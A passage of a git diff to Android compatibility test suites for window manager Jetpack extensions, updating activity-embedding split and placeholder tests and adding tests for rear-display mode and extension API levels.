+ waitAndAssertSplitStatesUpdated();
}
/**
@@ -465,14 +460,15 @@
waitAndAssertResumed(secondaryActivity2);
waitAndAssertNotVisible(primaryActivity);
List<Pair<String, String>> expected = List.of(
- transition(TestActivityWithId.class, ON_DESTROY),
+ transition(TestActivityWithId.class, ON_PAUSE),
transition(TestConfigChangeHandlingActivity.class, ON_STOP));
assertTrue("Finish middle activity in multi-split",
mLifecycleTracker.waitForConditionWithTimeout(() ->
checkOrder(mEventLog, expected)));
- assertTrue("Split state change must be observed",
- mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
- transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED))));
+ // There is no guarantee on the order, because the removal may be delayed until the next
+ // resumed becomes visible.
+ waitAndAssertActivityOnDestroy(TestActivityWithId.class);
+ waitAndAssertSplitStatesUpdated();
}
/**
@@ -507,12 +503,18 @@
// Finish the middle activity
secondaryActivity.finish();
waitAndAssertResumed(primaryActivity);
- List<Pair<String, String>> expected = List.of(
- transition(TestActivityWithId2.class, ON_DESTROY),
- transition(TestActivityWithId.class, ON_DESTROY));
- assertTrue("Finish middle activity in multi-split with dependents",
- mLifecycleTracker.waitForConditionWithTimeout(() ->
- checkOrder(mEventLog, expected)));
+ // There is no guarantee on the order, because the removal may be delayed until the next
+ // resumed becomes visible.
+ waitAndAssertActivityOnDestroy(TestActivityWithId.class);
+ waitAndAssertActivityOnDestroy(TestActivityWithId2.class);
+ waitAndAssertSplitStatesUpdated();
+ }
+
+ private void waitAndAssertActivityOnDestroy(Class<? extends Activity> activityClass) {
+ mLifecycleTracker.waitAndAssertActivityCurrentState(activityClass, ON_DESTROY);
+ }
+
+ private void waitAndAssertSplitStatesUpdated() {
assertTrue("Split state change must be observed",
mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED))));
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPlaceholderTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPlaceholderTests.java
index e7235a2..0a105cf 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPlaceholderTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPlaceholderTests.java
@@ -172,14 +172,16 @@
@Test
public void testPlaceholderFinishedWhenTaskWidthDecreased() {
final int taskWidth = getTaskWidth();
+ final int taskHeight = getTaskHeight();
// Set embedding rules with the parent window metrics only allowing side-by-side activities
- // on a task width at least the current width.
+ // on a task bounds at least the current bounds.
final SplitPlaceholderRule splitPlaceholderRule =
new SplitPlaceholderRuleBuilderWithDefaults(PRIMARY_ACTIVITY_ID,
PLACEHOLDER_ACTIVITY_ID)
- .setParentWindowMetrics(
- windowMetrics -> windowMetrics.getBounds().width() >= taskWidth)
+ .setParentWindowMetrics(windowMetrics ->
+ windowMetrics.getBounds().width() >= taskWidth
+ && windowMetrics.getBounds().height() >= taskHeight)
.build();
mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPlaceholderRule));
@@ -189,11 +191,11 @@
final TestActivity primaryActivity = (TestActivity) activityPair.first;
final Activity placeholderActivity = activityPair.second;
- // Shrink display width by 10% so that the primary and placeholder activities are stacked
+ // Shrink display size by 10% so that the primary and placeholder activities are stacked
primaryActivity.resetBoundsChangeCounter();
final Size currentSize = mReportedDisplayMetrics.getSize();
mReportedDisplayMetrics.setSize(new Size((int) (currentSize.getWidth() * 0.9),
- currentSize.getHeight()));
+ (int) (currentSize.getHeight() * 0.9)));
// Verify that the placeholder activity was finished and that the primary activity now
// fills the task.
@@ -208,16 +210,17 @@
*/
@Test
public void testPlaceholderLaunchedWhenTaskWidthIncreased() {
- final int taskWidth = getTaskWidth();
+ final double splitTaskWidth = getTaskWidth() * 1.05;
+ final double splitTaskHeight = getTaskHeight() * 1.05;
// Set embedding rules with the parent window metrics only allowing side-by-side activities
- // on a task width 5% wider than the current task width.
+ // on a task bounds 5% larger than the current task bounds.
final SplitPlaceholderRule splitPlaceholderRule =
new SplitPlaceholderRuleBuilderWithDefaults(PRIMARY_ACTIVITY_ID,
PLACEHOLDER_ACTIVITY_ID)
- .setParentWindowMetrics(
- windowMetrics ->
- windowMetrics.getBounds().width() >= taskWidth * 1.05)
+ .setParentWindowMetrics(windowMetrics ->
+ windowMetrics.getBounds().width() >= splitTaskWidth
+ && windowMetrics.getBounds().height() >= splitTaskHeight)
.build();
mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPlaceholderRule));
@@ -228,10 +231,10 @@
verifyFillsTask(primaryActivity);
waitAndAssertNotResumed(PLACEHOLDER_ACTIVITY_ID);
- // Increase display width by 10% so that the primary and placeholder activities are stacked
+ // Increase display size by 10% so that the primary and placeholder activities are stacked
final Size currentSize = mReportedDisplayMetrics.getSize();
mReportedDisplayMetrics.setSize(new Size((int) (currentSize.getWidth() * 1.1),
- currentSize.getHeight()));
+ (int) (currentSize.getHeight() * 1.1)));
// Verify that the placeholder activity is launched into a split with the primary activity
waitAndAssertResumed(PLACEHOLDER_ACTIVITY_ID);
@@ -247,14 +250,16 @@
@Test
public void testStickyPlaceholder() {
final int taskWidth = getTaskWidth();
+ final int taskHeight = getTaskHeight();
// Set embedding rules with isSticky set to true and the parent window metrics only allowing
// side-by-side activities on a task width at least the current width.
final SplitPlaceholderRule splitPlaceholderRule =
new SplitPlaceholderRuleBuilderWithDefaults(PRIMARY_ACTIVITY_ID,
PLACEHOLDER_ACTIVITY_ID).setIsSticky(true)
- .setParentWindowMetrics(
- windowMetrics -> windowMetrics.getBounds().width() >= taskWidth)
+ .setParentWindowMetrics(windowMetrics ->
+ windowMetrics.getBounds().width() >= taskWidth
+ && windowMetrics.getBounds().height() >= taskHeight)
.build();
mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPlaceholderRule));
@@ -267,7 +272,7 @@
placeholderActivity.resetBoundsChangeCounter();
final Size currentSize = mReportedDisplayMetrics.getSize();
mReportedDisplayMetrics.setSize(new Size((int) (currentSize.getWidth() * 0.9),
- currentSize.getHeight()));
+ (int) (currentSize.getHeight() * 0.9)));
// Verify that the placeholder was not finished and fills the task
assertTrue(placeholderActivity.waitForBoundsChange());
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java
index a929e86..8bdc309 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java
@@ -37,6 +37,7 @@
import android.app.UiAutomation;
import android.content.ComponentName;
import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
import android.server.wm.ActivityManagerTestBase;
import android.server.wm.Condition;
import android.server.wm.NestedShellPermission;
@@ -66,6 +67,7 @@
* Build/Install/Run:
* atest CtsWindowManagerJetpackTestCases:ActivityEmbeddingPolicyTests
*/
+@Presubmit
@RunWith(AndroidJUnit4.class)
public class ActivityEmbeddingPolicyTests extends ActivityManagerTestBase {
protected ActivityEmbeddingComponent mActivityEmbeddingComponent;
@@ -74,8 +76,6 @@
@Before
public void setUp() throws Exception {
super.setUp();
- // TODO(b/207070762): remove the assumption after shell transition enabled.
- assumeFalse(ENABLE_SHELL_TRANSITIONS);
assumeExtensionSupportedDevice();
WindowExtensions windowExtensions = getWindowExtensions();
assumeNotNull(windowExtensions);
@@ -96,6 +96,11 @@
*/
@Test
public void testInputDuringAnimationIsNotAllowed_untrustedEmbedding() {
+ // TODO(b/207070762): remove the test when cleanup legacy app transition
+ // We don't need to disable input with Shell transition, because we won't pass the surface
+ // to app.
+ assumeFalse(ENABLE_SHELL_TRANSITIONS);
+
Activity primaryActivity = startActivityNewTask(mContext, mInstrumentation,
TestConfigChangeHandlingActivity.class, null /* activityId */);
@@ -139,6 +144,11 @@
*/
@Test
public void testInputDuringAnimationIsNotAllowed_trustedEmbedding() {
+ // TODO(b/207070762): remove the test when cleanup legacy app transition
+ // We don't need to disable input with Shell transition, because we won't pass the surface
+ // to app.
+ assumeFalse(ENABLE_SHELL_TRANSITIONS);
+
// Extend the animation scale, so that the test has enough time to catch the state during
// transition.
UiAutomation automation = mInstrumentation.getUiAutomation();
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingTestBase.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingTestBase.java
index 009b404..3b97f6f 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingTestBase.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingTestBase.java
@@ -19,11 +19,10 @@
import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
-import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeNotNull;
-import android.os.SystemProperties;
import android.server.wm.ActivityManagerTestBase.ReportedDisplayMetrics;
+import android.server.wm.UiDeviceUtils;
import android.server.wm.jetpack.utils.TestValueCountConsumer;
import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
import android.view.Display;
@@ -47,15 +46,11 @@
protected TestValueCountConsumer<List<SplitInfo>> mSplitInfoConsumer;
protected ReportedDisplayMetrics mReportedDisplayMetrics =
ReportedDisplayMetrics.getDisplayMetrics(Display.DEFAULT_DISPLAY);
- private static final boolean ENABLE_SHELL_TRANSITIONS =
- SystemProperties.getBoolean("persist.wm.debug.shell_transit", false);
@Override
@Before
public void setUp() {
super.setUp();
- // TODO(b/207070762): remove the assumption after shell transition enabled.
- assumeFalse(ENABLE_SHELL_TRANSITIONS);
assumeExtensionSupportedDevice();
WindowExtensions windowExtensions = getWindowExtensions();
assumeNotNull(windowExtensions);
@@ -63,6 +58,9 @@
assumeNotNull(mActivityEmbeddingComponent);
mSplitInfoConsumer = new TestValueCountConsumer<>();
mActivityEmbeddingComponent.setSplitInfoCallback(mSplitInfoConsumer);
+
+ UiDeviceUtils.pressWakeupButton();
+ UiDeviceUtils.pressUnlockButton();
}
@After
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionRearDisplayTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionRearDisplayTest.java
new file mode 100644
index 0000000..1e3a85f
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionRearDisplayTest.java
@@ -0,0 +1,270 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack;
+
+import static android.server.wm.UiDeviceUtils.pressUnlockButton;
+import static android.server.wm.UiDeviceUtils.pressWakeupButton;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.PollingCheck.waitFor;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.KeyguardManager;
+import android.content.Context;
+import android.content.res.Resources;
+import android.hardware.devicestate.DeviceStateManager;
+import android.hardware.devicestate.DeviceStateRequest;
+import android.os.PowerManager;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.DeviceStateUtils;
+import android.server.wm.jetpack.utils.TestRearDisplayActivity;
+import android.server.wm.jetpack.utils.WindowExtensionTestRule;
+import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.LargeTest;
+import androidx.window.extensions.area.WindowAreaComponent;
+import androidx.window.extensions.area.WindowAreaComponent.WindowAreaSessionState;
+import androidx.window.extensions.area.WindowAreaComponent.WindowAreaStatus;
+
+import com.android.compatibility.common.util.ApiTest;
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashSet;
+import java.util.Objects;
+import java.util.Set;
+import java.util.function.Consumer;
+
+/**
+ * Tests for the {@link androidx.window.extensions.area.WindowAreaComponent} implementation
+ * of the rear display functionality provided on the device (and only if one is available).
+ *
+ * Build/Install/Run:
+ * atest CtsWindowManagerJetpackTestCases:ExtensionRearDisplayTest
+ */
+@LargeTest
+@Presubmit
+@RunWith(AndroidJUnit4.class)
+public class ExtensionRearDisplayTest extends WindowManagerJetpackTestBase implements
+ DeviceStateManager.DeviceStateCallback {
+
+ private static final int TIMEOUT = 2000;
+ private static final int INVALID_DEVICE_STATE = -1;
+
+ private TestRearDisplayActivity mActivity;
+ private WindowAreaComponent mWindowAreaComponent;
+ private int mCurrentDeviceState;
+ private int mCurrentDeviceBaseState;
+ private int[] mSupportedDeviceStates;
+ @WindowAreaStatus
+ private Integer mWindowAreaStatus;
+ @WindowAreaSessionState
+ private Integer mWindowAreaSessionState;
+ private int mRearDisplayState;
+
+ private final Context mInstrumentationContext = getInstrumentation().getTargetContext();
+ private final KeyguardManager mKeyguardManager = mInstrumentationContext.getSystemService(
+ KeyguardManager.class);
+ private final DeviceStateManager mDeviceStateManager = mInstrumentationContext
+ .getSystemService(DeviceStateManager.class);
+
+ private final Consumer<Integer> mStatusListener = (status) -> mWindowAreaStatus = status;
+
+ private final Consumer<Integer> mSessionStateListener = (sessionState) -> {
+ mWindowAreaSessionState = sessionState;
+ };
+
+ @Rule
+ public final WindowExtensionTestRule mWindowManagerJetpackTestRule =
+ new WindowExtensionTestRule(WindowAreaComponent.class);
+
+ @Before
+ @Override
+ public void setUp() {
+ super.setUp();
+ mWindowAreaComponent =
+ (WindowAreaComponent) mWindowManagerJetpackTestRule.getExtensionComponent();
+ mSupportedDeviceStates = mDeviceStateManager.getSupportedStates();
+ assumeTrue(mSupportedDeviceStates.length > 1);
+ // TODO(b/236022708) Move rear display state to device state config file
+ mRearDisplayState = getInstrumentation().getTargetContext().getResources()
+ .getInteger(Resources.getSystem()
+ .getIdentifier("config_deviceStateRearDisplay", "integer", "android"));
+ assumeTrue(mRearDisplayState != INVALID_DEVICE_STATE);
+ mDeviceStateManager.registerCallback(Runnable::run, this);
+ mWindowAreaComponent.addRearDisplayStatusListener(mStatusListener);
+ unlockDeviceIfNeeded();
+ mActivity = (TestRearDisplayActivity) startActivityNewTask(TestRearDisplayActivity.class);
+ waitAndAssert(() -> mWindowAreaStatus != null);
+ }
+
+ @After
+ @Override
+ public void tearDown() {
+ super.tearDown();
+ if (mWindowAreaComponent != null) {
+ mWindowAreaComponent.removeRearDisplayStatusListener(mStatusListener);
+ try {
+ DeviceStateUtils.runWithControlDeviceStatePermission(
+ () -> mDeviceStateManager.cancelStateRequest());
+ } catch (Throwable t) {
+ throw new RuntimeException(t);
+ }
+ }
+ }
+
+ /**
+ * Tests that the RearDisplay status listeners receive the correct {@link WindowAreaStatus}
+ * values.
+ *
+ * The test goes through all supported device states and verifies that the correct status is
+ * returned. If the state does not place the device in the active RearDisplay configuration
+ * (i.e. the base state of the device is different than the current state, and that current
+ * state is the RearDisplay state), then it should receive the
+ * {@link WindowAreaStatus#STATUS_AVAILABLE} value, otherwise it should receive the
+ * {@link WindowAreaStatus#STATUS_UNAVAILABLE} value.
+ */
+ @ApiTest(apis = {
+ "androidx.window.extensions.area.WindowAreaComponent#addRearDisplayStatusListener",
+ "androidx.window.extensions.area.WindowAreaComponent#removeRearDisplayStatusListener"})
+ @Test
+ public void testRearDisplayStatusListeners() throws Throwable {
+ Set<Integer> requestedStates = new HashSet<>();
+ while (requestedStates.size() != mSupportedDeviceStates.length) {
+ int newState = determineNewState(mCurrentDeviceState, mSupportedDeviceStates,
+ requestedStates);
+ if (newState != INVALID_DEVICE_STATE) {
+ requestedStates.add(newState);
+ DeviceStateRequest request = DeviceStateRequest.newBuilder(newState).build();
+ DeviceStateUtils.runWithControlDeviceStatePermission(() ->
+ mDeviceStateManager.requestState(request, null, null));
+
+ waitAndAssert(() -> mCurrentDeviceState == newState);
+ // If the state does not put the device into the rear display configuration,
+ // then the listener should receive the STATUS_AVAILABLE value.
+ if (!isRearDisplayActive(mCurrentDeviceState, mCurrentDeviceBaseState)) {
+ waitAndAssert(
+ () -> mWindowAreaStatus == WindowAreaComponent.STATUS_AVAILABLE);
+ } else {
+ waitAndAssert(
+ () -> mWindowAreaStatus == WindowAreaComponent.STATUS_UNAVAILABLE);
+ }
+ }
+ }
+ }
+
+ /**
+ * Tests that you can start and end rear display mode. Verifies that the {@link Consumer} that
+ * is provided when calling {@link WindowAreaComponent#startRearDisplaySession} receives
+ * the {@link WindowAreaSessionState#SESSION_STATE_ACTIVE} value when starting the session
+ * and {@link WindowAreaSessionState#SESSION_STATE_INACTIVE} when ending the session.
+ *
+ * This test also verifies that the {@link android.app.Activity} is still visible when rear
+ * display mode is started, and that the activity received a configuration change when enabling
+ * and disabling rear display mode. This is verifiable due to the current generation of
+ * hardware and the fact that there are different screen sizes from the different displays.
+ */
+ @ApiTest(apis = {
+ "androidx.window.extensions.area.WindowAreaComponent#startRearDisplaySession",
+ "androidx.window.extensions.area.WindowAreaComponent#endRearDisplaySession"})
+ @Test
+ public void testStartAndEndRearDisplaySession() {
+ assumeTrue(mWindowAreaStatus == WindowAreaComponent.STATUS_AVAILABLE);
+ assumeTrue(mCurrentDeviceState != mRearDisplayState);
+
+ mActivity.mConfigurationChanged = false;
+ mWindowAreaComponent.startRearDisplaySession(mActivity, mSessionStateListener);
+ waitAndAssert(() -> mActivity.mConfigurationChanged);
+ assertTrue(mWindowAreaSessionState != null
+ && mWindowAreaSessionState == WindowAreaComponent.SESSION_STATE_ACTIVE);
+ assertEquals(mCurrentDeviceState, mRearDisplayState);
+ assertTrue(isActivityVisible(mActivity));
+
+ mActivity.mConfigurationChanged = false;
+ mWindowAreaComponent.endRearDisplaySession();
+ waitAndAssert(() -> mActivity.mConfigurationChanged);
+ assertEquals(WindowAreaComponent.SESSION_STATE_INACTIVE, (int) mWindowAreaSessionState);
+ assertTrue(isActivityVisible(mActivity));
+ // Cancelling rear display mode should cancel the override, so verifying that the
+ // device state is the same as the physical state of the device.
+ assertEquals(mCurrentDeviceState, mCurrentDeviceBaseState);
+ assertEquals(WindowAreaComponent.STATUS_AVAILABLE, (int) mWindowAreaStatus);
+
+ }
+
+ @Override
+ public void onBaseStateChanged(int state) {
+ mCurrentDeviceBaseState = state;
+ }
+
+ @Override
+ public void onStateChanged(int state) {
+ mCurrentDeviceState = state;
+ }
+
+ /**
+ * Returns the next state that we should request that isn't the current state and
+ * has not already been requested.
+ */
+ private int determineNewState(int currentDeviceState, int[] statesToRequest,
+ Set<Integer> requestedStates) {
+ for (int state : statesToRequest) {
+ if (state != currentDeviceState && !requestedStates.contains(state)) {
+ return state;
+ }
+ }
+ return INVALID_DEVICE_STATE;
+ }
+
+ /**
+ * Helper method to determine if a rear display session is currently active by checking
+ * if the current device configuration matches that of rear display. This would be true
+ * if there is a device override currently active (base state != current state) and the current
+ * state is that which corresponds to {@code mRearDisplayState}
+ * @return {@code true} if the device is in rear display mode and {@code false} if not
+ */
+ private boolean isRearDisplayActive(int currentDeviceState, int currentDeviceBaseState) {
+ return (currentDeviceState != currentDeviceBaseState)
+ && (currentDeviceState == mRearDisplayState);
+ }
+
+ private void unlockDeviceIfNeeded() {
+ if (isKeyguardLocked() || !Objects.requireNonNull(
+ mInstrumentationContext.getSystemService(PowerManager.class)).isInteractive()) {
+ pressWakeupButton();
+ pressUnlockButton();
+ }
+ }
+
+ private boolean isKeyguardLocked() {
+ return mKeyguardManager != null && mKeyguardManager.isKeyguardLocked();
+ }
+
+ private void waitAndAssert(PollingCheck.PollingCheckCondition condition) {
+ waitFor(TIMEOUT, condition);
+ }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
index 7162a44..cca5f16 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
@@ -19,9 +19,7 @@
import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
import static android.server.wm.jetpack.utils.ExtensionUtil.assertEqualWindowLayoutInfo;
-import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
import static android.server.wm.jetpack.utils.ExtensionUtil.assumeHasDisplayFeatures;
-import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowLayoutComponent;
import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowLayoutInfo;
import static android.server.wm.jetpack.utils.SidecarUtil.assumeSidecarSupportedDevice;
import static android.server.wm.jetpack.utils.SidecarUtil.getSidecarInterface;
@@ -36,13 +34,13 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeNotNull;
import android.graphics.Rect;
import android.platform.test.annotations.Presubmit;
import android.server.wm.jetpack.utils.TestActivity;
import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
import android.server.wm.jetpack.utils.TestValueCountConsumer;
+import android.server.wm.jetpack.utils.WindowExtensionTestRule;
import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -58,6 +56,7 @@
import com.google.common.collect.Range;
import org.junit.Before;
+import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -74,6 +73,7 @@
* Build/Install/Run:
* atest CtsWindowManagerJetpackTestCases:ExtensionWindowLayoutComponentTest
*/
+@Presubmit
@LargeTest
@RunWith(AndroidJUnit4.class)
public class ExtensionWindowLayoutComponentTest extends WindowManagerJetpackTestBase {
@@ -82,14 +82,17 @@
private WindowLayoutComponent mWindowLayoutComponent;
private WindowLayoutInfo mWindowLayoutInfo;
+ @Rule
+ public final WindowExtensionTestRule mWindowExtensionTestRule =
+ new WindowExtensionTestRule(WindowLayoutComponent.class);
+
@Before
@Override
public void setUp() {
super.setUp();
- assumeExtensionSupportedDevice();
+ mWindowLayoutComponent =
+ (WindowLayoutComponent) mWindowExtensionTestRule.getExtensionComponent();
mActivity = (TestActivity) startActivityNewTask(TestActivity.class);
- mWindowLayoutComponent = getExtensionWindowLayoutComponent();
- assumeNotNull(mWindowLayoutComponent);
}
/**
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/SidecarTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/SidecarTest.java
index f0b5a7c..ddd63a7 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/SidecarTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/SidecarTest.java
@@ -18,45 +18,28 @@
import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
-import static android.server.wm.jetpack.utils.SidecarUtil.MINIMUM_SIDECAR_VERSION;
import static android.server.wm.jetpack.utils.SidecarUtil.assertEqualWindowLayoutInfo;
import static android.server.wm.jetpack.utils.SidecarUtil.assumeHasDisplayFeatures;
import static android.server.wm.jetpack.utils.SidecarUtil.assumeSidecarSupportedDevice;
import static android.server.wm.jetpack.utils.SidecarUtil.getSidecarInterface;
-import static android.server.wm.jetpack.utils.SidecarUtil.isSidecarVersionValid;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.assertNotBothDimensionsZero;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.assertHasNonNegativeDimensions;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.doesDisplayRotateForOrientation;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityWindowToken;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getMaximumActivityBounds;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.setActivityOrientationActivityDoesNotHandleOrientationChanges;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.setActivityOrientationActivityHandlesOrientationChanges;
import static com.google.common.truth.Truth.assertThat;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeFalse;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-import android.content.pm.ActivityInfo;
import android.graphics.Rect;
import android.os.IBinder;
import android.platform.test.annotations.Presubmit;
-import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
import android.server.wm.jetpack.utils.SidecarCallbackCounter;
import android.server.wm.jetpack.utils.TestActivity;
import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
import android.server.wm.jetpack.utils.TestGetWindowLayoutInfoActivity;
+import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.FlakyTest;
import androidx.test.filters.LargeTest;
-
import androidx.window.sidecar.SidecarDeviceState;
import androidx.window.sidecar.SidecarDisplayFeature;
import androidx.window.sidecar.SidecarInterface;
@@ -69,8 +52,6 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.List;
-
/**
* Tests for the {@link androidx.window.sidecar} implementation provided on the device (and only
* if one is available).
@@ -78,6 +59,7 @@
* Build/Install/Run:
* atest CtsWindowManagerJetpackTestCases:SidecarTest
*/
+@Presubmit
@LargeTest
@RunWith(AndroidJUnit4.class)
public class SidecarTest extends WindowManagerJetpackTestBase {
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/WindowExtensionsImplTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/WindowExtensionsImplTest.java
new file mode 100644
index 0000000..fce9ac2
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/WindowExtensionsImplTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack;
+
+import static android.server.wm.jetpack.utils.ExtensionUtil.MINIMUM_STABLE_EXTENSION_VERSION;
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionVersion;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.Presubmit;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ApiTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for the {@link androidx.window.extensions.WindowExtensionsImpl} implementation.
+ * Verifies that the extensions API level is aligned or higher than the current level.
+ *
+ * Build/Install/Run:
+ * atest CtsWindowManagerJetpackTestCases:WindowExtensionsImplTest
+ */
+@Presubmit
+@RunWith(AndroidJUnit4.class)
+public class WindowExtensionsImplTest {
+
+ @ApiTest(apis = {"androidx.window.extensions.WindowExtensions#getVendorApiLevel"})
+ @Test
+ public void testVerifiesExtensionVendorApiLevel() {
+ assumeExtensionSupportedDevice();
+ assertTrue(getExtensionVersion().compareTo(MINIMUM_STABLE_EXTENSION_VERSION) >= 0);
+ }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
index a3e682b..320fed1 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
@@ -16,9 +16,6 @@
package android.server.wm.jetpack.utils;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getMaximumActivityBounds;
-
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
@@ -33,13 +30,12 @@
import androidx.annotation.Nullable;
import androidx.window.extensions.WindowExtensions;
import androidx.window.extensions.WindowExtensionsProvider;
